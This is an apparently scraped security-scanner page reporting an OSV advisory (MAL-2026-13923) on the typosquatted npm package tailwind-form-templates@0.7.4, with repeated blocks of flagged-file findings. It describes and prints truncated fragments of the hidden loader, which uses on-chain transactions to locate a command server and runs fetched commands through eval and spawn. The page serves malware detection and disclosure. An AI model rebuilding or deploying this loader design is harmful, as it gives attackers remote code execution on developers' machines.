Loading npm security reports…

tailwind-form-templates@0.7.4: Malicious npm security report | LPM Firewall

registry / tailwind-form-templates / 0.7.4

tailwind-form-templates@0.7.4

OSV Malicious Advisory

scanned 3d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13923 confirms this npm version as malicious. The package name resembles @tailwindcss/forms and its src/index.js copies the legitimate @tailwindcss/forms source, appending an `eval(atob(...))` payload that runs on require(). The decoded payload obfuscates its strings via \uXXXX escapes and dynamically requires http/https and child_process. At import time it queries Ethereum public RPCs and eth.blockscout.com/api for transactions from a hardcoded wallet...

Advisory

MAL-2026-13923

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in tailwind-form-templates (npm)

Details

The package name resembles @tailwindcss/forms and its src/index.js copies the legitimate @tailwindcss/forms source, appending an `eval(atob(...))` payload that runs on require(). The decoded payload obfuscates its strings via \uXXXX escapes and dynamically requires http/https and child_process. At import time it queries Ethereum public RPCs and eth.blockscout.com/api for transactions from a hardcoded wallet (0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a), decodes an attacker-controlled IPv4 address from a transaction's `to` field, fetches an XOR-encrypted command from that IP via an `x-payload-b64` header, and executes the result through `eval` and a detached `spawn('node', ['-e',...])`. This is a full-host remote code execution channel on the installer, with the C2 endpoint rotatable via on-chain transactions (EtherHiding pattern) and the malicious code grafted onto a legitimate library to evade casual review.

Decision reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review; previous stored version diff introduced dangerous source

References

OSV advisory PACKAGE

Source & flagged code

8 flagged

src/index.js#virtual:base64:round1View file

1global.i="A11--!";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A11--!";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = src/index.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.jsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = tailwind-form-templates@0.7.3 matchedIdentity = npm:dGFpbHdpbmQtZm9ybS10ZW1wbGF0ZXM:0.7.3 similarity = 0.750 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/index.jsView on unpkg

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

scripts/release-notes.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-notes.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 0f5e3e94eb364079 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-notes.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 shingleOverlap = 4 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-channel.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg

Source & flagged code

8 flagged · loading source

src/index.js#virtual:base64:round1View file

1global.i="A11--!";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A11--!";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.jsView on unpkg

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/index.jsView on unpkg

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

scripts/release-notes.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg

Source & flagged code

8 flagged

src/index.js#virtual:base64:round1View file

1global.i="A11--!";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A11--!";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.jsView on unpkg

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/index.jsView on unpkg

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

scripts/release-notes.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg

tailwind-form-templates@0.7.4

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code